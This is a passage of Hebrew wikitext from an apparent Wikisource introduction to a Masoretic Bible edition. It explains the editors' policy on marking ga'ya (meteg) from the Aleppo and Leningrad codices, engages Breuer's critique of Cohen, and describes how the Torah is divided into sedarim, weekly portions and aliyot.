'''[[מקרא על פי המסורה/תורה#ספר במדבר|ספר במדבר]]''' (15 פריטים): [[במדבר ג/טעמים#ג ו|ג,ו]] (ל=וְהַֽעֲמַדְתָּ֣ או וְֽהַעֲמַדְתָּ֣);{{הערה|יש געיה בכתי&quot;ל אך לא ברור אם היא שייכת לאות וי&quot;ו או לאות ה&quot;א, והשמטנו אותה ע&quot;פ הרוב המכריע של כתבי־היד הקרובים לכתר.}} [[במדבר ג/טעמים#ג כז|ג,כז]] (ל=הָֽעָזִּיאֵלִ֑י); [[במדבר ד/טעמים#ד לב|ד,לב]] (ל=וִֽיתֵדֹתָם֙); [[במדבר ה/טעמים#ה כא|ה,כא]] (ל=אֶֽת־הָֽאִשָּׁה֮); [[במדבר י/טעמים#י ח|י,ח]] (ל=בַּֽחֲצֹצְר֑וֹת); [[במדבר יא/טעמים#יא כד|יא,כד]] (ל=וַֽיַּעֲמֵ֥ד); [[במדבר יד/טעמים#יד כה|יד,כה]] (ל=וְהָֽעֲמָלֵקִ֥י וְהַֽכְּנַעֲנִ֖י); [[במדבר יד/טעמים#יד לח|יד,לח]] (ל=הַֽהֹלְכִ֖ים); [[במדבר טו/טעמים#טו יד|טו,יד]] (ל=אֲשֶֽׁר־בְּתֽוֹכְכֶם֙); [[במדבר טו/טעמים#טו מ|טו,מ]] (ל=לֵֽאלֹהֵיכֶֽם); [[במדבר טז/טעמים#טז יח|טז,יח]] (ל?=וַֽיַּעַמְד֗וּ); [[במדבר טז/טעמים#טז לא|טז,לא]] (ל=וַיְהִי֙); [[במדבר יז/טעמים#יז כא|יז,כא]] (ל=כָּֽל־נְשִֽׂיאֵיהֶ֡ם); [[במדבר יח/טעמים#יח ב|יח,ב]] (ל=וִֽישָׁרְת֑וּךָ); [[במדבר כה/טעמים#כה ב|כה,ב]] (ל=לֵֽאלֹהֵיהֶֽן); [[במדבר כו/טעמים#כו לא|כו,לא]] (ל=הָֽאַשְׂרִֽאֵלִ֑י); [[במדבר לא/טעמים#לא לב|לא,לב]] (ל=וַיְהִי֙); [[במדבר לג/טעמים#לג ג|לג,ג]] (ל?=הָֽרִאשׁ֔וֹן); [[במדבר לה/טעמים#לה לג|לה,לג]] (ל?=וְלֹא־תַחֲנִ֣יפוּ).

'''[[מקרא על פי המסורה/תורה#ספר דברים|ספר דברים]]''' (17 פריטים): [[דברים א/טעמים#א ג|א,ג]] (ל=וַיְהִי֙); [[דברים א/טעמים#א כט|א,כט]] (ל=לֹא־תַֽעַרְצ֥וּן וְֽלֹא־תִֽירְא֖וּן); [[דברים א/טעמים#א לג|א,לג]] (ל=לַֽחֲנֹֽתְכֶ֑ם); [[דברים ז/טעמים#ז ח|ז,ח]] (ל=מֵֽאַהֲבַ֨ת); [[דברים ז/טעמים#ז יג|ז,יג]] (ל=וְתִֽירֹשְׁךָ֣); [[דברים ח/טעמים#ח ג|ח,ג]] (ל=וַיַּֽאֲכִֽלְךָ֤); [[דברים ח/טעמים#ח טז|ח,טז]] (ל=הַמַּֽאֲכִ֨לְךָ֥); [[דברים יא/טעמים#יא יד|יא,יד]] (ל=וְתִֽירֹשְׁךָ֖); [[דברים יא/טעמים#יא כד|יא,כד]] (ל=הָֽאַחֲר֔וֹן); [[דברים יא/טעמים#יא כה|יא,כה]] (ל=וּמֽוֹרַאֲכֶ֜ם); [[דברים יב/טעמים#יב יז|יב,יז]] (ל=וְתִֽירֹשְׁךָ֣); [[דברים יב/טעמים#יב כ|יב,כ]] (ל=אֶֽת־גְּבֽוּלְךָ֮); [[דברים יב/טעמים#יב ל|יב,ל]] (ל=לֵֽאלֹהֵיהֶ֜ם); [[דברים יב/טעמים#יב לא|יב,לא]] (ל=לֵֽאלֹהֵיהֶֽם); [[דברים יד/טעמים#יד כג|יד,כג]] (ל=תִּֽירֹשְׁךָ֣); [[דברים יח/טעמים#יח ד|יח,ד]] (ל=תִּֽירֹשְׁךָ֣); [[דברים כ/טעמים#כ יח|כ,יח]] (ל=לֵֽאלֹהֵיהֶ֑ם); [[דברים כח/טעמים#כח יא|דברים כח,יא]] (ל?=וְהוֹתִֽרְךָ֤).
{{מ:טעמי המקרא-סוף}}

למרות כל היוצאים מן הכלל (למעלה מ-80 פריטים ברשימה), השארנו את נוסח הגעיות שבכתי&quot;ל ברוב המכריע של התורה ובשאר המקומות החסרים בכתר, ולא ניסינו לקרב אותו יותר אל נוסח הגעיות שהיה בכתר (ע&quot;י שחזור מלא לפי כל נטיותיו של כתר בכתיבת הגעיות). יש שתי סיבות מעשיות להחלטתנו להביא רק את הגעיות הרשומות בכתבי־היד (חוץ מהמקומות החריגים):
#שחזור הגעיות ו/או הוספתן בכל תיבה הראויה לכך במקרא דורשת עבודה רבה, וזה כרגע מעבר ליכולתנו מבחינת התורמים לפרויקט. ואולם תמיד יהיה ניתן לשדרג את מהדורתנו בעתיד באחת מהדרכים הללו או לבצע אותן במהדורות נגזרות.
#הוספת הגעיות באופן מלא ועקבי בדומה למהדורת ברויאר איננה אפשרית כעת גם מסיבה טכנית, כי אין היום תווים מיוחדים ביוניקוד בשביל געיות שונות (ארוכות וקצרות) כדי לתעד איזו געיה מקורה בכתב־היד שהוא היסוד למהדורה ואיזו נוספה על ידינו.

לכן מסומנות הגעיות במהדורתנו לפי שני כתבי־‏היד העיקריים (הכתר וכתי&quot;ל). אמנם בעתיד היד נטויה לסימון געיות ע&quot;פ שיטות נוספות. על ידי השימוש בתבניות אוטומטיות המיועדות לכך, יתאפשר למשתמש לבחור את השיטה המועדפת עליו. בין השיטות שראוי לבצע אותן ולאפשר את בחירתן על ידי המשתמש:
#סימון געיות ע&quot;פ כתבי־‏היד (הכתר וכתי&quot;ל), אמנם בתיקונים קלים לגבי געיות חריגות בכתי&quot;ל. זוהי השיטה המתבצעת כעת בספרי התורה.
#סימון געיות ע&quot;פ כתבי־‏היד (הכתר וכתי&quot;ל) בלי תיקונים. זוהי השיטה המבוצעת כעת בספרי הנביאים והכתובים. בשיטה זו יש כבר ערך רב (כמו שקבע כהן בבהירות רבה), כי היא מייצגת באופן נאמן את המסורת הכללית המשתקפת בכתבי־היד העתיקים, והוא גם יכול להיות בסיס מצוין עבור פיתוח נוסף או יצירה נגזרת בעתיד (כגון בשיטות הבאות ברשימה זו).
#סימון געיות ע&quot;פ הכתר, וע&quot;פ שחזור הכתר במקומות החסרים בו.{{הערה|לשיטה משוכללת לשחזור הגעיות בכתר, מעבר לשיטת כהן שכבר בא לידי ביצוע מלא ב'''מקראות גדולות הכתר''', ראו את מאמרו של רפאל זר על שחזור הגעיות בכרך תרי עשר במפעל המקרא של האונ' עברית: Rafael Isaac (Singer) Zer, &quot;The Preparation of the Base Text of the Hebrew University Bible Where It Is Missing in the Aleppo Codex&quot;, ''Textus'' 25 (2010), pp. 49-71.}}
#סימון לפי השיטה של &quot;ריבוי געיות&quot;, שמקורה במנהג אשכנז והייתה מקובלת לרוב בדפוסים. שיטה זו מתאימה ב&quot;תיקון קוראים&quot;, שהרי ברוב העדות היום אין כבר ביצוע מוזיקלי לגעיה ונשאר לה רק תפקיד פונטי, ולכן ראוי לסמן אותה בכל תיבה הראויה לכך. אפשר לבסס סימון כזה (באופן כללי ובזהירות) על מהדורות [https://archive.org/details/heidenheim-torah-ein-ha-sofer-rodelheim-1818-1821-images/page/n5/mode/2up?view=theater היידנהיים] (תורה) ו[https://archive.org/details/baer-delitzsch-masoretic-bible-full/page/n117/mode/2up?view=theater בֶּר] (נ&quot;ך), תוך כדי ניסוח כללים מתאימים שאינם בהכרח זהים לגמרי למדיניות שלהם.
#סימון לפי השיטה של &quot;ריבוי געיות&quot;, אמנם בדרך מתונה: אין לסמן יותר מגעיה אחת בלבד בתיבה אחת (בדומה למנהג כתבי־היד הטברנים). יישום זה יהיה דומה לשיטת ברויאר, אמנם יהיה צורך לבצע אותה מחדש. גם שיטה זו מתאימה ב&quot;תיקון קוראים&quot; מאותה סיבה בדיוק כמו השיטה הקודמת.

===אחרית דבר===

בעת כתיבתה של חטיבה זו בנושא הגעיות נעלם ממנו מאמרו של הרב ברויאר &quot;ספקות שאין להם הכרע&quot;.{{הערה|'''לשוננו''' נ&quot;ח חוברת ד', אלול תשנ&quot;ד-תשנ&quot;ה  (1994), עמ' 283-296.}} בחלקו הראשון של אותו מאמר{{הערה|עמ' 283-288.}} יש תגובה לדבריו של מנחם כהן (בנספח שכתב על הגעיות בסוף כרך מלכים של מקראות גדולות הכתר). ברוך שכיוונו, כי גם בלי לראות את מאמרו של ברויאר הגענו לאותה מסקנה: דרכו של הכתר בסימון הגעיות ראוי יותר להיקרא &quot;נטייה&quot; (בלשונו של ייבין) ולא &quot;שיטה&quot; (בלשונו של כהן), כי הוא לא הגיע מעולם לאותה רמה של שיטתיות גמורה שיש במערכת הניקוד והטעמים. ובלשונו של ברויאר: &quot;כהן... לא עמד או לא העמיד על ההבדל העקרוני שבין שיטת בן אשר בסימון הגעיות הקלות ובין שיטתו בסימון שאר כל פריטי הניקוד והטעמים. הבדל זה הוא המציב בפני המהדיר בעיה שאין לה, לדעתי, כל פתרון משביע רצון... רוב סימני הניקוד והטעמים המצויים בכתר נקבעו שם על פי מסורת ברורה, שהיה נקדן חייב לתת לה ביטוי... אולם דברים אלו אינם אמורים בסוגיית הגעיות הקלות: יש בכתר אלפי תיבות שבן אשר שם בהן או השמיט בהן געיה קלה בלא דין ולא דיין, בלא כלל ובלא מסורת...&quot;. כלומר: רמת העקביות החסרה בולטת בתוך הכתר עצמו (בתיבות מקבילות הזהות במבנן ובטעמן שלפעמים מקבלות געיה ולפעמים לא), ועל אחת כמה וכמה בכתבי־היד הקרובים לו.

בנוסף לכך כתב ברויאר ששיטתו משקפת יסוד קבוע בסימון הגעיות בדפוסים, ואילו אנחנו ציינו אותה עובדה בדיוק. בלשונו של ברויאר: &quot;כל מהדורות המקרא המקובלות בישראל זה יותר ממאה שנה (לפחות) נוהגות לסמן געיה קלה בכל תיבה הראויה לכך מצד מבניה – בלא כל התחשבות בטעמה, וכל קורא ותיק הבקי בקריאתו מקפיד להטעים את המקרא על פי הנוסח הזה.&quot;{{הערה|עמ' 286.}} וגם העיר: &quot;כהן מסביר באריכות מהיכן הגיע המנהג הזה אל המהדורות שלנו. דבריו בעניין זה מעניינים ומאלפים מאוד, אך אין הם סותרים את דבריי, שהרי גם אני מודה שהשיטה הזאת – בכללותה – מנוגדת לשיטת בן אשר. השאלה איך נתקבלה במהדורות שלנו לא מעלה ולא מורידה בדיון הזה.&quot;{{הערה|שם.}}

בהערה בסוף הדיון על הגעיות במאמרו התייחס ברויאר גם לשאלת תפקידם המוזיקלי: &quot;בספרי על הטעמים כתבתי שהגעיה מורה על נחץ משני, שאיננו מבוצע בניגון. כהן טוען שהגדרה זו אמורה רק בשיטת המהדורה שלי, שהגעיה הקלה בה איננה תלויה בניגון כלל. אך דומני שזו טעות, שהרי גם במהדורה שלי יש געיות רבות התלויות בניגון דווקא – געיות כבדות וגעיות שווא – ואף על פי כן כתבתי את ההגדרה הזאת, שכן היה נראה לי שתלות הגעיה בניגון עדיין איננה מוכיחה שהיא גם מבוצעת בניגון; שהרי אפשר שרק ניגון מסויים דורש הטעמה משנית לפניו. גם אפשר שניגונו של הטעם מתחיל תמיד כבר בנחץ המשני של הגעיה – גם במקרה שלכל הדעות, הגעיה איננה תלויה בטעם, כדוגמת הגעיה של וְיִֽצְק֥וּ. לפי זה צריכים לשנות במקצת את הגדרת הגעיה: היא מורה על נחץ משני ולא על ניגון.&quot;{{הערה|הערה 12 עמ' 288-289.}} אמנם נראים יותר דבריהם של ייבין וכהן בעניין זה.

לגבי סימון הגעיות ע&quot;י שמואל בן יעקב, נקדנו של כתי&quot;ל, כתב כהן שיש בו בכללותו השתקפות נאמנה למנהגם של כתבי־היד הטברנים ודמיון רב לכתר. ואילו ברויאר הדגיש את הגעיות בכתי&quot;ל שלעיתים חורגות לגמרי מהכללים: &quot;בן אשר היה משנה את הניקוד רק באותם העניינים שלא הייתה לו בהם כל מסורת ושכללי הדקדוק לא קבעו בהם מסמרות, ואילו שמואל בן יעקב החליף את שיטתו בעניינים שחוקי ההטעמה ומסורת הקריאה קבעו בהם נוסח מחייב שאין לשום נקדן רשות לסטות מהם&quot;.{{הערה|שם, עמ' 288.}} למעשה, לפי ברויאר קיימים כ-10 חריגים בלבד בכתר ארם צובה בכל המקרא (געיות שלא לפי הכללים), ואילו בכתי&quot;ל יש כ-45 בתורה בלבד (!).{{הערה|ברויאר רשם אותם שם, עמ' 287. אחרי שהביא 5 סתירות פנימיות בכתי&quot;ל, שבהן נכתבו געיות כהלכה בתיבה אחת, ובמקום אחר נכתבו געיות שלא כהלכה באותן תיבות (בראשית לו,יח [&quot;אהליבמה&quot; פעמיים באותו פסוק]; ויקרא ג,יז ו-כג,ג ו-כג,לא מול כג,יד [&quot;משבתיכם&quot;]; במדבר י,ח מול י,י [בחצצרות/בחצצרת]), ברויאר כתב: &quot;על אלה יש להוסיף עוד כארבעים תיבות בתורה שהגעיה מסומנת בהן שלא כדין: געיה קלה בצד געיה אחרת – וכן געיה בראשונה מבין שתי הברות הראויות לגעיה קלה. נמצא שהטעמות תמוהות אלו מצויות בכ&quot;י לנינגרד ביותר מארבעים וחמישה מקומות '''בתורה בלבד''', ואילו בכתר הן מצויות '''בכל המקרא''' רק בקרוב לעשרה מקומות.&quot; ושם בהערה (8) על &quot;בתורה בלבד&quot; כתב: &quot;אלה המקומות שמצאתי: בר' יט,יג; כה,לא; לא,מג; לב,כו; לו,יח; לח,יח; מט,יח; שמ' א,כא; '''ח,כא'''; '''יג,ה''',יא; טו,כו; '''ל,י'''; וי' א,ה; ג,יז; כג,ג,לא; כה,כח; '''כז,כח'''; במ' ג,כז; ד,לב; ה,כא; י,ח; '''יד,כה,לח'''; טו,יד,מ; '''יז,כא'''; יח,ב; כה,ב; כו,לא; דב' '''א,כט''',לג; ז,ח,'''יג'''; ח,ג; '''יא,יד''',כד,'''כה'''; יב,יז,כ,ל,לא; '''יד,כג; יח,ד; כ,יח'''. במקומות המודגשים ההדגשה התמוהה מצויה גם ב'''ל{{כתב עילי|מ}}'''.&quot; תיקון לפי רשימה זו בוצע במהדורתנו עד חשון תש&quot;פ: בתיבות שיש בהן געיה בכתי&quot;ל, אבל הגעיה לא במקום הנכון בתיבה לפי הכללים, סימנו אותו במקום הנכון במהדורתנו ופירטנו את הנתונים בתיעוד הנוסח (ברוב המקרים נבדקו גם כתבי יד ומהדורות אחרות). וכמו כן בכל מקום שיש שתי געיות או יותר בכתי&quot;ל בתיבה אחת (או בתיבות מוקפות), סימנו במהדורתנו רק געיה אחת במקום המתאים לה לפי הכללים (יש יוצא מן הכלל אחד ב[[במדבר טו/טעמים|במדבר טו,יד]] [אֲשֶׁר־בְּתֽוֹכְכֶם֙], שם יש שתי געיות בכתי&quot;ל, אך קיימת עדות מובהקת שבנוסח בן אשר אין געיה כבדה בשי&quot;ן ולכן השארנו את הגעיה הקלה בתי&quot;ו; וראו שם בהערת הנוסח). רשימה מלאה של התיקונים נמצאת [[ויקיטקסט:מבוא למקרא על פי המסורה/נספחים#געיות (מתגים) בתורה|כאן]].}} אמנם בכל זאת נראה שאין מחלוקת אמיתית בין ברויאר לכהן בנושא זה (למרות דבריו של ברויאר &quot;אולם כהן חולק עליי גם בעניין זה&quot;), אלא שכל אחד מדגיש צד אחר המשתקף בנתונים: כהן מדבר על המצב הכללי למרות החריגים לעתים בכתי&quot;ל, ואילו ברויאר מדגיש את הסטיות הלא-מעטות. קצת מפתיעה מסקנתו של ברויאר בעניין זה: &quot;אם נעתיק את נוסח הגעיות של כ&quot;י לנינגרד בכל מקום שלא נשתמר בו הכתר, נסטה מנוסח הכתר ביותר מאלפיים תיבות. די היה בכך להרתיע אותי מללכת בדרך הזאת&quot;.{{הערה|שם.}} אמנם זו בדיוק הדרך שבחר ברויאר ללכת בה בסימון הגעיות הארוכות בכל מהדורותיו! וכך גם במהדורתנו מסומנות הגעיות כעת בעקביות ע&quot;פ כתי&quot;ל בלי תיקונים, אבל כאמור התקווה היא [[#סימון הגעיות במהדורתנו|לבצע בעתיד תיעוד ותצוגה של כמה שיטות במקביל, ולאפשר למשתמש לבחור ביניהם כרצונו]]. בינתיים נחכה לגואלים שיהיו מוכנים לבצע את השיטות השונות לטובת הכלל.{{הערה|לתיעוד מלא של נוסח הגעיות בכתי&quot;ל בכל המקרא בתוך מהדורה דיגיטלית שימושית, ראו ב[http://tanach.us/Tanach.xml מהדורת וסטמינסטר].}}

{{קו תחתי|'''התלבטות קשה של המהדיר אבל לא של הקורא:'''}} לסיום חשוב להדגיש שכל ההתלבטות הרבה בעניין הגעיות היא בעיקר התלבטות מצדו של המהדיר, והרבה פחות מצדו של הקורא והלומד. ברויאר ציין בצדק במאמר זה שיש '''אלפי''' תיבות בתוך הכתר עצמו שבהן אין געיה, למרות שלפי הכללים והנטיות החזקות של כתב־היד הייתה אמורה להיות בהן געיה; וכן להיפך. ואותו דבר נכון על אחת כמה וכמה בכתבי־יד אחרים. עובדה זו מעלה שאלה קשה בשביל המהדיר, אבל לא בשביל הקורא. שהרי המהדיר חייב לפעול באופן עקבי ומתוך שקיפות, ו'''אסור''' לו לקבל החלטה שרירותית או בלתי-מתועדת באף תיבה. ואילו לקורא זה הרבה פחות חשוב אם הגעיה קיימת או חסרה בתיבה מסוימת, כי זו דרכן של געיות (אלא אם כן נשען הקורא לחלוטין על שיטת ריבוי הגעיות שבדפוסים). לכן הקורא יכול לבחור לעצמו כל מהדורה מדויקת של המקרא, ולהשתמש בה בביטחון ללא קשר לשיטת הגעיות שבה, ואף אם השיטה אינה מושלמת (כי אין שיטה מושלמת). רוב ההתלבטות שמדובר עליה בחטיבה זו על נושא הגעיות שמורה אם כן למהדיר ולא לקורא.

===געיה ימנית===

בעשרות מקומות בכתי&quot;ל נכתבת הגעיה בצד הימני של הסימן הניקוד במקום לשמאלו{{הערה|על מיקומה של כתיבת הגעיה ראו ייבין, יא.3, עמ' 90-91.}} (התופעה נפוצה במיוחד בחלק הראשון של ספר בראשית). אין בתופעה זו כל משמעות, אבל בהקלדת וסטמינסטר הקפידו בכל זאת להקליד געיה ימנית לפי כתי&quot;ל, בהתאם למטרתם להציג את נוסח כתב־היד בדיוק מלא. מובן מאליו שבמהדורתנו תופיע הגעיה בשמאלו של סימן הניקוד.{{הערה|ראוי לציין את העובדה הטכנית שגם אם לא היינו עושים שום דבר, תוכנת מדיה-ויקי מזיזה את הגעיה לצד שמאל בכל מקרה באופן אוטומטי. תופעה זו קשורה כנראה ליישום מדוייק של הגדרות ביוניקוד. באופן דומה, תוכנת מדיה-ויקי תמיד מזיזה את הנקודות של דגש, או של שי&quot;ן ימנית או שמאלית, '''לאחר''' הניקוד של האות, למרות שלפי ההגיון נקודות אלו צריכות לבוא לפני הניקוד. כתוצאה מכך, אם שמים את סמן העכבר לאחר האות ולוחצים על &quot;backspace&quot;, הנקודה תימחק ראשונה ורק לאחריה יימחק הניקוד שבאות. אמנם תו של הטעם יבוא אחרון (גם לאחר הנקודה).}} אבל בגלל שמגמתנו לתעד כמה שיותר במהדורתנו את השינויים שנעשו מהקלדת וסטמינסטר (במקומות שכתי&quot;א חסר), רשמנו בכל זאת בתיעוד הנוסח שהתיבה נכתבה &quot;בגעיה ימנית&quot; בכתי&quot;ל.

==סדרי הקריאה בתורה==

===חלוקת הסדרים בתורה===

חלוקת הסדרים בתורה היא חלוקה עניינית לרוב, המשקפת את מחזור הקריאה התלת־שנתי שהיה נהוגה בארץ ישראל. במהדורתנו שילבנו את חלוקת הסדרים לפי שתי שיטות מקבילות:
*סימנו את חלוקתה של התורה ל-154 סדרים המקובלת בדפוסים והמוכרת, כולל המרכיב של המספר הרצוף לכל סדר וסדר  מתחילת כל ספר (המספרים מצויינים באותיות עבריות כמו שמוכר היטב מדפוס קורן).{{הערה|למספרים הרצופים באותיות עבריות (בנוסף לציון האות &quot;ס&quot; בשוליים) יש בסיס כבר בכתבי־היד הקרובים לכתר והמאוחרים יותר, אמנם אין בהם ביצוע מלא תמיד.}}
*סימנו את חלוקת הסדרים על פי שני מקורות עתיקים המתעדים את נוסח המסורה הטברנית: רשימת הסדרים ב'''ספר החילופים''' למישאל בן עוזיאל{{הערה|1=מהדורת אליעזר ליפשיץ (ירושלים: מאגנס, תשכ&quot;ה; טקסט מלא ב-PDF ניתן להוריד [http://www.hum.huji.ac.il/units.php?cat=5040&amp;incat=4972 באתר האוניברסיטה העברית]). הרב ברויאר כבר סימן את הסדרים במהדורותיו על פי רשימה זו. ספר החילופים מתעד רשימה של הבדלים (זעירים) בנוסח המקרא בין שיטת בן אשר לבין שיטת בן נפתלי (וגם מספר הסכמות בין שתי השיטות). כך מאפשרות רשימת החילופים וההסכמות קיטלוג של כתבי־יד לפי קרבתם לשיטת בן-אשר, וזהו עיקר חשיבותן במחקר בימינו: ספר החילופים מאשר את חשיבותו של כתר ארם צובה כמייצג נאמן ומדוייק לשיטת בן-אשר, וגם מאפשר את שחזור נוסחו של בן-אשר במקומות מסויימים החסרים בכתר. אמנם בנוסף לרשימת החילופים עצמה, יש בספר החילופים גם תיעוד קפדני לראשי הסדרים במקרא (בתחילת הדיון על כל פרשה בתורה וכל ספר בנביאים וכתובים).}} ו[https://archive.org/details/Leningrad_Codex/page/n243/mode/1up רשימת הסדרים בכתי&quot;ל] (בנוסף לסימון ראשי הסדרים שבגוף התורה עצמה באותו כתב־יד). שני המקורות העתיקים האלה כמעט זהים אחד לשני בחלוקת הסדרים,{{הערה|יצוין שספר החילופים וכתי&quot;ל גם זהים לסימון הסדרים הקיים בסוף ספר דברים בכתר ארם צובה. שלושת המקורות ביחד עוד זהים בכך שפרשת &quot;נִצבים&quot; כוללת בתוכה גם את פרשת &quot;וילך&quot; (והן נחשבות לפרשה אחת ביחד).}} והם מדווחים על כ-167 סדרים בתורה.{{הערה|בשני המקורות העתיקים מדווח על סך של קס&quot;ז (167) סדרים בדיוק בחמישה חומשי תורה. אמנם רק ברשימה שבכתי&quot;ל יש באמת קס&quot;ז סדרים, ואילו בספר החילופים, למרות המספר המובא בסוף, נזכרים 168 ראשי סדרים. הסדר הנוסף מתחיל לקראת סוף פרשת וירא (&quot;וַיְהִי אַחֲרֵי הַדְּבָרִים הָאֵלֶּה וַיֻּגַּד לְאַבְרָהָם לֵאמֹר&quot;, [[בראשית כב כ]]); סדר זה חסר לגמרי בכתי&quot;ל בסימון הפנימי וברשימה (וגם בחלוקה המקובלת), וזה ההבדל היחיד בין ראשי הסדרים שבשני המקורות.}}

לגבי השיטות השונות בסימון הסדרים (ובמיוחד בין החלוקה המקובלת לבין החלוקה ל-167 סדרים), יש אומרים שאין כאן מחלוקת אלא שהסדרים הנוספים בתורה שבספר החילופים ובכתי&quot;ל משקפים תת־חלוקה אפשרית בתוך הסדרים המקובלים. ויש אומרים שחלוקת הקריאה למחזור התלת־שנתי לא הגיעה לידי שיטה מובהקת של חובה, והיו מנהגים שונים כיצד לחלק את הקריאה בדרכים שונות.

ציונם של ראשי הסדרים הנוספים בספר החילופים ובכתי&quot;ל ישולב בתוך המספרים הרצופים של החלוקה המקובלת. לדוגמה: יש סדר שמתחיל בתחילת פרשת &quot;וָאֶתְחַנַּן&quot; (דברים ג כג), והוא הסדר הרביעי בספר (&quot;ד&quot; במספרים הרצופים) לפי החלוקה המקובלת של 154 סדרים בתורה. מאוחר יותר יש ציון של תחילת סדר במקורות העתיקים  בפסוק &quot;כִּי־תוֹלִיד בָּנִים&quot; (ד כה), וסדר זה אינו קיים בחלוקה המקובלת. הוא יסומן אם כן לפי המספר הרצוף &quot;ד*&quot;. להלן רשימה של כל הפרשות שבהן יש סדר נוסף על החלוקה המקובלת (קנ&quot;ד סדרים):
*בספר בראשית (בנוסף על מ&quot;ג סדרים): וירא=(יט*),{{הערה|אין כאן סדר בכתי&quot;ל (ברשימה ובגוף התורה) אבל יש סדר בספר החילופים, ובגלל הסדר הנוסף מגיע מספר הסדרים בספר החילופים ל-46 בספר בראשית ול-168 בתורה כולה (למרות הסך המובא בסוף של קס&quot;ז סדרים). יצויין שסדר זה קיים גם בתוך המספרים הרצופים שבכתי&quot;ש (כ'), אמנם שם הוא מתחיל בתחילת פרשת &quot;חיי שרה&quot; ולא בבראשית כב,ב; ובכלל יש הבדלים רבים בין סימון הסדרים בכתי&quot;ש לבין המסורת של קס&quot;ז סדרים בתורה (בכתי&quot;ש לדוגמה יש מ&quot;ב סדרים סה&quot;כ בספר בראשית).}} וישב=לה*, ויחי=מג*.
*בספר שמות (בנוסף על כ&quot;ט סדרים): שמות=א*,{{הערה|כאן חסר סימון הסדר בגוף כתי&quot;ל, אבל הוא קיים ברשימת הסדרים בכתי&quot;ל (וגם דותן השלים אותו ע&quot;פ הרשימה).}} משפטים=יז*, כי-תשא=כה*, ויקהל=כו*.
*בספר ויקרא (בנוסף על כ&quot;ג סדרים): ויקרא=ב*, אמֹר=יט*.
*בספר במדבר (בנוסף על ל&quot;ב סדרים): נשֹא=ה*.
*בספר דברים (בנוסף על כ&quot;ז סדרים): ואתחנן=ד*, ראה=יא*, שֹפטים=טו*,{{הערה|יש לסמן עוד מקום בפרשת שֹפטים בכתי&quot;ל, דהיינו [[דברים כ א]], בו מסומן סדר נוסף בכתב היד (לכאורה &quot;טו**&quot;). אבל סימון זה כנראה בטעות הוא, שהרי אינו מובא ברשימת הסדרים בכתי&quot;ל עצמו וגם לא בספר החילופים (דותן ציין אותו כטעות {ס}). במהדורתנו לא תייגנו אותו ב[[תבנית:מ:סדר]] אבל הערנו עליו בהערת נוסח.}} כי־תצא=טז*.

יש גם שני מקומות שבהם תחילת הסדר שונה במקצת בחלוקה המקובלת ובמקורות העתיקים:
*בפרשת אמֹר מתחיל סדר [יט] בויקרא כג,ט (&quot;כִּֽי־תָבֹ֣אוּ אֶל־הָאָ֗רֶץ&quot;) במקורות העתיקים, אבל בחלוקה המקובלת מתחיל הסדר (יט) בויקרא כג,טו (&quot;וּסְפַרְתֶּ֤ם לָכֶם֙&quot;), הפרש קל של 6 פסוקים שהם פרשה אחת.
*בסוף פרשת קֹרח מתחיל סדר (יז) בבמדבר יח,כה (&quot;וְאֶל־הַלְוִיִּם תְּדַבֵּר&quot;), אבל במקורות העתיקים מתחיל הסדר [יז] בתחילת פרשת &quot;זֹאת חֻקַּת הַתּוֹרָה&quot; (במדבר יט,א), הפרש קל של 8 פסוקים שהם פרשה אחת.

למידע על חלוקת הסדרים בספרי הנביאים והכתובים ראו '''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה#חלוקת הסדרים בנביאים וכתובים|כאן]]'''.

===החלוקה לפרשות השבוע===

[[מקרא על פי המסורה/תורה|התורה מחולקת במהדורתנו]] לפי יחידות של &quot;פרשת השבוע&quot;. חלוקה זו משקפת את המנהג המקובל כבר אלף שנה של מחזור לקריאת התורה בשנה אחת (מקור המנהג הוא [[:W:פרשת השבוע#מקור המנהג בעדות ישראל|בבלי]]). בתחילת כל יחידה של &quot;פרשת השבוע&quot; יש גם תמונות וקישורים לעמודים המתאימים לדף הראשון של אותה פרשה (צילומים של כתבי־היד החשובים ושל ספרי תורה הכתובים על קלף).

ראוי לציין שבכתבי־היד הטברנים וברשימות המסורה שבהן (וכן ב&quot;ספר החילופים&quot;) אין פרשה חדשה שמתחילה בפסוק [[פרשת וילך/טעמים#פרשת וילך (עם מספרי פסוקים וסימני ניווט)|&quot;וַיֵּ֖לֶךְ מֹשֶׁ֑ה&quot; (דברים לא,א)]], ויחידה זו הייתה נחשבת אם כן לחלק האחרון של [[פרשת ניצבים/טעמים#פרשת ניצבים (עם מספרי פסוקים וסימני ניווט)|פרשת &quot;נִצבים&quot;]] (שהיו בה 70 פסוקים סה&quot;כ).{{הערה|עניין זה צויין גם בתיעוד הנוסח (בדף העריכה בתחילת פרשת &quot;וילך&quot; ([[דברים לא/טעמים|פרק ל&quot;א]]).}}

===החלוקה לעולים בתורה===

פרשות השבוע מחולקות במהדורתנו בהתאם לקריאה עבור שבעה עולים לתורה בשבת (ומפטיר). חלוקה זו יציבה לרוב מאז המאה הי&quot;ח.{{הערה|למידע היסטורי על החלוקה לעולים בתורה, ראו את [https://jewish-faculty.biu.ac.il/files/jewish-faculty/shared/JSIJ4/stulberg.pdf מאמרו] של אפרים סטולברג, &quot;תורה שבעל פה האחרונה: חלוקת התורה לעליות&quot; ב-JSIJ גליון 8 (2009).}} היא נעשתה כאן לפי החלוקה המקובלת בדפוסים הנפוצים של המקראות הגדולות (השתמשנו במקראות גדולות לתורה ב[[:COMMONS:Category:MG1859-Vienna-Torah|מהדורתו של שלמה נעטטער]] [ווין תרי&quot;ט]), והמשתקפת היטב בדפוס קורן.{{הערה|במקרים של אי־התאמה הכרענו לפי [https://commons.wikimedia.org/wiki/File:Tikkun-Koreim-HB50656.pdf תיקון הקוראים הזה]. בעתיד ראוי שיהיה סימון לפי שיטות נוספות של חלוקת הפרשה לעולים, ובמיוחד מנהג תימן, וכן להוסיף אפשרות למשתמש לבחור את שיטת הסימון הרצויה לו.}} לשבתות שקוראים בהן שתי פרשות מחוברות, הקריאה לכל אחד משבעת העולים צוין כנהוג בתוך סוגריים לאחר החלוקה לעולים של הפרשה היחידה, כגון: &quot;חמישי (שלישי)&quot;.

